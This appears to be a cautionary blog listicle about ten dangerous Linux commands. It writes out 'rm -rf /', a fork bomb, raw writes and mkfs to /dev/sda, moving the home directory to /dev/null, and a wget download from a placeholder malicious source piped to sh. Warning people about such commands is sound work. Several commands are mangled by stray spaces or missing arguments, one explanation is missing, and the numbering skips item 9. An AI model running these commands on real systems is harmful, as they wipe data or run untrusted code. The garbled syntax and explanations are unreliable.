10 Most Dangerous Linux OS Commands You Should Never Execute on your Machine

10 Most Dangerous Linux Commands

10 Most Dangerous Linux OS Commands You Should Never Execute on your Machine

Linux Terminal is one of the most powerful program in Linux OS. The command line in Linux OS is very productive, useful and interesting, however, it can sometimes be very dangerous, especially when dealing user root or user that can take most of their privileges, sudo.

You must know exactly what you’re doing. This article was created to simply alert Linux users to some of the terminal commands, that every Linux user should think twice before executing them.

If you don’t know about Linux and want to learn Linux online read this post.

Read this post carefully and know about  these dangerous linux commands. Make sure you never run these dangerous linux commands in your Linux Machine.

1. rm -rf

The command rm -rf / deletes everything it possible can, including files on your hard drive and files on connected removable media devices. This command is more understandable if it’s broken down:

2.: () {: |: &} ;:

:(){ :|: & };: also known as Fork Bomb is a denial-of-service attack against a Linux System. :(){ :|: & };: is a bash function. Once executed, it repeats itself multiple times until the system freezes.

You can only get rid of it by restarting your system. So be careful when executing this command on your Linux shell.

Fork Commands

Source : Dake on Wikimedia Commons

3. command> / dev / sda

The above command writes the output of ‘command on the block / dev / sda . The above command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in the block.

4. mv directory / dev / null

/dev/null is another special location – moving something to /dev/null is the same thing as destroying it. Think of /dev/null as a black hole. Essentially, mv ~ /dev/null sends all your personal files into a black hole.

5. wget http: // malicious_source -O | sh

The above line downloads a script from the web and sends it to sh,which executes the contents of the script. This can be dangerous if you’re not sure what the script is or if you don’t trust its source – don’t run untrusted scripts.

6. Mkfs.ext3 / dev / sda

The above command will format the block ‘sda’ and you would surely be knowing that after execution of the above command your Block (Hard Disk Drive) would be new, BRAND NEW! Without any data, leaving your system into unrecoverable stage.

7. > File

The above command is used to release the file content. If the above command is executed with a typing error or ignorance as “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^foo^bar

This command is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using ^foo^bar command.

10. Decompression Bomb

You have received a compressed file and you are asked to extract this file which appears to be very small in size but may be a few KB. In fact, this small sized compressed file contains very highly compressed data.

Once the file is decompressed, hundreds of GB of data is extracted which can fill up your hard drive to bring down the performance of your system. To avoid this situation, always remember to accept data from trustworthy sources.